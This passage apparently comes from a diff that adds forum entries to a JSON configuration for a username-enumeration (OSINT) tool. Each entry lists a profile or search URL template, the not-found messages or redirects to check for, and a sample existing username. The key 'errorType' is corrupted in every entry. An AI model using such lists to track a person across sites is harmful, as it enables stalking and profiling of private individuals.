"https://nikola-apx.ucoz.ru/index/8-0-{}", + "urlMain": "https://nikola-apx.ucoz.ru", + "usernameON": "Ilya", + "bad_site": "" + }, + "Forum_nikonites": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nikonites.com/forum/members/?username={}", + "urlMain": "https://nikonites.com/", + "usernameON": "weebee", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nikopol": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nikopol.moy.su/index/8-0-{}", + "urlMain": "https://nikopol.moy.su", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_nikos": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nikos.at.ua/index/8-0-{}", + "urlMain": "https://nikos.at.ua", + "usernameON": "Saymon", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nim-lang": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.nim-lang.org/profile/{}", + "urlMain": "https://forum.nim-lang.org", + "usernameON": "SolitudeSF", + "bad_site": "" + }, + "Forum_nintendo": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nintendoforums.com/members/?username={}", + "urlMain": "https://www.nintendoforums.com", + "usernameON": "dustinb12", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nissan": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanforums.com/members/?username={}", + "urlMain": "https://www.nissanforums.com", + "usernameON": "weeaboo123", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nissanclub": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanclub.com/members/?username={}", + "urlMain": "https://www.nissanclub.com", + "usernameON": "administrator", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nissanzclub": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanzclub.com/forum/members/?username={}", + "urlMain": "https://www.nissanzclub.com", + "usernameON": "mcn1smo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_njofficer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Contact your hosting provider", + "errorTyp��": "message", + "url": "https://www.njofficer.com/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.njofficer.com", + "usernameON": "JRoberts", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_nkp": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nn2000.ucoz.ru/index/8-0-{}", + "urlMain": "https://nn2000.ucoz.ru", + "usernameON": "nn2000", + "bad_site": "" + }, + "Forum_nocd": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nocd.ru/index/8-0-{}", + "urlMain": "https://nocd.ru", + "usernameON": "Fridrih", + "bad_site": "" + }, + "Forum_noginsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://noginsk.ucoz.com/index/8-0-{}", + "urlMain": "https://noginsk.ucoz.com", + "usernameON": "Skyler", + "bad_site": "" + }, + "Forum_nohide": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://nohide.io/members/?username={}", + "urlMain": "https://nohide.io", + "usernameON": "gamerocs", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nokia6230i": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://nokia6230i.ucoz.ru/index/8-0-{}", + "urlMain": "https://nokia6230i.ucoz.ru", + "usernameON": "Dim0271", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nokiasoft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "url": "https://nokiasoft.3dn.ru/index/8-0-{}", + "urlMain": "https://nokiasoft.3dn.ru", + "usernameON": "OOccuts", + "bad_site": "", + "comments": "bad", + "exclusion": "\\W" + }, + "Forum_nomadbsd": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.nomadbsd.org/u/{}/summary", + "urlMain": "https://forum.nomadbsd.org", + "usernameON": "borgio3", + "bad_site": "" + }, + "Forum_nonarko": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum-nonarko.ru/members/?username={}", + "urlMain": "https://forum-nonarko.ru", + "usernameON": "GAVR", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nooneaboveus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "https://nooneaboveus.ucoz.ru/index/8-0-{}", + "urlMain": "https://nooneaboveus.ucoz.ru", + "usernameON": "Лана", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nordog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nordog.ucoz.ru/index/8-0-{}", + "urlMain": "https://nordog.ucoz.ru", + "usernameON": "gutan1201", + "bad_site": "" + }, + "Forum_northernbrewer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.northernbrewer.com/users/{}/activity", + "urlMain": "https://forum.northernbrewer.com", + "usernameON": "joonze", + "bad_site": "" + }, + "Forum_northstandchat": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.northstandchat.com/members/?username={}", + "urlMain": "https://www.northstandchat.com", + "usernameON": "hitony", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nosmoking": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://nosmoking.ru/phpBB2/search.php?keywords=&terms=all&author={}", + "urlMain": "https://nosmoking.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_Not_606": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://not606.com/members/?username={}", + "urlMain": "https://not606.com", + "usernameON": "fromthestands", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nousch1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nousch1.ucoz.ru/index/8-0-{}", + "urlMain": "https://nousch1.ucoz.ru", + "usernameON": "Lostoff", + "bad_site": "" + }, + "Forum_novascotiahunting": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.novascotiahunting.com/members/?username={}", + "urlMain": "https://www.novascotiahunting.com", + "usernameON": "3macs1", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novelupdates": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.novelupdates.com/members/?username={}", + "urlMain": "https://forum.novelupdates.com", + "usernameON": "lilly2805", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novelupdatesforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.novelupdatesforum.com/members/?username={}", + "urlMain": "https://www.novelupdatesforum.com", + "usernameON": "parth37955", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "К сожалению, возникла проблема", + "errorTyp��": "message", + "url": "https://novfishing.ru/search/?&q={}&type=core_members", + "urlMain": "https://novfishing.ru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_novoe-chelovech": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://novoe-chelovech.ucoz.ru/index/8-0-{}", + "urlMain": "http://novoe-chelovech.ucoz.ru", + "usernameON": "Asteroidbum", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_novokrasnyanka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://novokrasnyanka.ucoz.ua/index/8-0-{}", + "urlMain": "https://novokrasnyanka.ucoz.ua", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_novsevkuchino": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://novsevkuchino.my1.ru/index/8-0-{}", + "urlMain": "https://novsevkuchino.my1.ru", + "usernameON": "Zews", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_npest": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://npest.moy.su/index/8-0-{}", + "urlMain": "https://npest.moy.su", + "usernameON": "Juku", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nsk-cb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Insufficient Storage", + "errorTyp��": "message", + "url": "http://forum.nsk-cb.ru/memberlist.php?username={}", + "urlMain": "http://forum.nsk-cb.ru", + "usernameON": "abjectradical82", + "bad_site": "" + }, + "Forum_nsk_clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nsk.clan.su/index/8-0-{}", + "urlMain": "https://nsk.clan.su", + "usernameON": "Elnor", + "bad_site": "" + }, + "Forum_nsu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://forum.nsu.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.nsu.ru", + "usernameON": "Znaika", + "bad_site": 1 + }, + "Forum_ntc_party": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ntc.party/u/{}", + "urlMain": "https://ntc.party", + "usernameON": "tango", + "bad_site": "" + }, + "Forum_nudostar": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nudostar.com/forum/members/?username={}", + "urlMain": "https://nudostar.com", + "usernameON": "ahmedhananii", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nulled_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.nulled.to/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_content=both&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_term=&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=title&search_app_filters[members][members][sortDir]=", + "urlMain": "https://www.nulled.to", + "usernameON": "crybaby20240", + "bad_site": 1 + }, + "Forum_numis": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.numisforums.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.numisforums.com", + "usernameON": "rasiel", + "bad_site": "" + }, + "Forum_nunchaku": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorTyp��": "message", + "url": "https://forum.nvworld.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.nvworld.ru", + "usernameON": "epddsns", + "bad_site": "" + }, + "Forum_nyangler": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nyangler.com/members/?username={}", + "urlMain": "https://nyangler.com", + "usernameON": "leprechaun", + "comments": "zamedlenie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nybass": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nybass.com/members/?username={}", + "urlMain": "https://www.nybass.com", + "usernameON": "jaysen", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nyccnc": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Oops", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://nyccnc.com/forums/users/{}/", + "urlMain": "https://nyccnc.com/", + "usernameON": "ltborg", + "bad_site": "" + }, + "Forum_nycfire": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nycfire.net/forums/members/?username={}", + "urlMain": "https://www.nycfire.net", + "usernameON": "signal73", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_obama_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obama.ucoz.ru/index/8-0-{}", + "urlMain": "https://obama.ucoz.ru", + "usernameON": "uKc", + "bad_site": "" + }, + "Forum_obkon": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obkon.ucoz.com/index/8-0-{}", + "urlMain": "https://obkon.ucoz.com", + "usernameON": "ninokids", + "bad_site": "" + }, + "Forum_obninskchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Page not found", + "errorMsg2": "404", + "errorTyp��": "message", + "url": "https://chessiki.ru/forums/profile/{}", + "urlMain": "https://chessiki.ru/", + "usernameON": "lvdraphael", + "bad_site": "" + }, + "Forum_obovcem": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obovcem.ucoz.ru/index/8-0-{}", + "urlMain": "https://obovcem.ucoz.ru/", + "usernameON": "Obovcem", + "bad_site": "" + }, + "Forum_obovsem_piter": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obzhorkinsajt.ucoz.ru/index/8-0-{}", + "urlMain": "https://obzhorkinsajt.ucoz.ru", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_octothorp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.octothorp.team/user/{}", + "urlMain": "https://forum.octothorp.team", + "usernameON": "porkove", + "bad_site": "" + }, + "Forum_odessacrewing": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://odessacrewing.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://odessacrewing.kamrbb.ru", + "usernameON": "csplus", + "bad_site": "" + }, + "Forum_odinhram": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odinhram.3dn.ru/index/8-0-{}", + "urlMain": "https://odinhram.3dn.ru", + "usernameON": "elenas", + "bad_site": "" + }, + "Forum_odinochestvo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odinochestvo.moy.su/index/8-0-{}", + "urlMain": "https://odinochestvo.moy.su", + "usernameON": "Marion", + "bad_site": "" + }, + "Forum_odnokursniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odnokursniki.clan.su/index/8-0-{}", + "urlMain": "https://odnokursniki.clan.su", + "usernameON": "vsetransport", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_odonvv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odonvv.ru/index/8-0-{}", + "urlMain": "https://odonvv.ru", + "usernameON": "Vodoley", + "bad_site": "" + }, + "Forum_officiating": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorMsg2": "Sorry", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://offthepost.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://offthepost.org", + "usernameON": "Bosc", + "bad_site": "" + }, + "Forum_ofo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ofo.ucoz.ru/index/8-0-{}", + "urlMain": "https://ofo.ucoz.ru", + "usernameON": "sudba", + "bad_site": "" + }, + "Forum_ogxbox": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.ogxbox.com/forums/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.ogxbox.com", + "usernameON": "dtomcat", + "bad_site": "" + }, + "Forum_ohiogamefishing": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiogamefishing.com/members/?username={}", + "urlMain": "https://www.ohiogamefishing.com", + "usernameON": "deadeyedeek", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohiosportsman": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiosportsman.com/members/?username={}", + "urlMain": "https://www.ohiosportsman.com", + "usernameON": "pbudi59", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohiowaterfowler": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiowaterfowlerforum.com/members/?username={}", + "urlMain": "https://www.ohiowaterfowlerforum.com", + "usernameON": "jimmy81", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohota-ribalka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ohota-ribalka.at.ua/index/8-0-{}", + "urlMain": "https://ohota-ribalka.at.ua", + "usernameON": "gratch79", + "bad_site": "" + }, + "Forum_ohrana-truda": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "0 результатов", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.ohrana-truda.by/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.ohrana-truda.by", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_oih_med": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "403 Forbidden", + "errorMsg2": "Пользователь не найден", + "errorTyp��": "message", + "url": "https://oih.at.ua/index/8-0-{}", + "urlMain": "https://oih.at.ua", + "usernameON": "fiorella", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_oil-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Just a moment", + "errorMsg2": "Found 0 results", + "errorMsg3": "Найдено 0", + "errorTyp��": "message", + "url": "https://www.oil-club.ru/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.oil-club.ru", + "usernameON": "tattoedarm", + "bad_site": "" + }, + "Forum_oilburners": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.oilburners.net/members/?username={}", + "urlMain": "https://www.oilburners.net", + "usernameON": "kansasidi", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oklahomahunter": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.oklahomahunter.net/members/?username={}", + "urlMain": "https://www.oklahomahunter.net", + "usernameON": "drc458", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_okna-7": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://okna-7.my1.ru/index/8-0-{}", + "urlMain": "https://okna-7.my1.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_old_ap": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://old.ap-pro.ru/index/8-0-{}", + "urlMain": "http://old.ap-pro.ru/", + "usernameON": "dkfllelfhtd", + "bad_site": "" + }, + "Forum_old_sukhoi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "robots\" content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://old.sukhoi.ru/forum/member.php?username={}", + "urlMain": "http://old.sukhoi.ru", + "usernameON": "GreyWind", + "bad_site": "" + }, + "Forum_oldbel-kovalevo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oldbel-kovalevo.ucoz.ru/index/8-0-{}", + "urlMain": "https://oldbel-kovalevo.ucoz.ru", + "usernameON": "skorodihin", + "bad_site": "" + }, + "Forum_oldclassiccar": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry,", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.oldclassiccar.co.uk/forum/phpbb/phpBB2/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.oldclassiccar.co.uk", + "usernameON": "davids", + "bad_site": "" + }, + "Forum_oldmeloman": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://oldmeloman.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://oldmeloman.kamrbb.ru", + "usernameON": "gustava", + "bad_site": "" + }, + "Forum_oldones": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.oldones.org/index/8-0-{}", + "urlMain": "http://www.oldones.org", + "usernameON": "rpavel693", + "comments": "bad", + "bad_site": 1 + }, + "forum_oldpokemon": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользователей", + "errorTyp��": "message", + "url": "https://forum.oldpokemon.ru/memberlist.php?sk=c&sd=a&username={}", + "urlMain": "https://forum.oldpokemon.ru", + "usernameON": "BisQuit", + "bad_site": 1 + }, + "Forum_olujaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://olujaz.ucoz.ru/index/8-0-{}", + "urlMain": "https://olujaz.ucoz.ru", + "usernameON": "ccbeclexanthirt", + "bad_site": "" + }, + "Forum_oluss": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oluss.at.ua/index/8-0-{}", + "urlMain": "https://oluss.at.ua", + "usernameON": "oluss", + "bad_site": "" + }, + "Forum_omaddiet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://omaddiet.com/community/members/?username={}", + "urlMain": "https://omaddiet.com", + "usernameON": "sumeria9", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_omega": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://omegaforums.net/members/?username={}", + "urlMain": "https://omegaforums.net", + "usernameON": "fsg", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oms": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oms.ucoz.com/index/8-0-{}", + "urlMain": "https://oms.ucoz.com", + "usernameON": "pysarievai", + "bad_site": "" + }, + "Forum_omskmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "ОмскМама", + "errorTyp��": "message", + "url": "https://forum.omskmama.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.omskmama.ru", + "usernameON": "vo24uk", + "bad_site": "" + }, + "Forum_onbankir": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://onbankir.moy.su/index/8-0-{}", + "urlMain": "https://onbankir.moy.su", + "usernameON": "burenokscody", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_oneclickchicks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "One Click Chicks Forum", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.oneclickchicks.com/member.php?username={}", + "urlMain": "https://forum.oneclickchicks.com", + "usernameON": "osreb", + "bad_site": "" + }, + "Forum_onefinitycnc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.onefinitycnc.com/u/{}/summary", + "urlMain": "https://forum.onefinitycnc.com/", + "usernameON": "tahoe1840", + "bad_site": "" + }, + "Forum_online-dendy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://online-dendy.ru/index/8-0-{}", + "urlMain": "http://online-dendy.ru", + "usernameON": "fumssHesy", + "bad_site": "" + }, + "Forum_online-knigi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://forum.online-knigi.com/members/?username={}", + "urlMain": "https://forum.online-knigi.com", + "usernameON": "brazilla", + "bad_site": 1, + 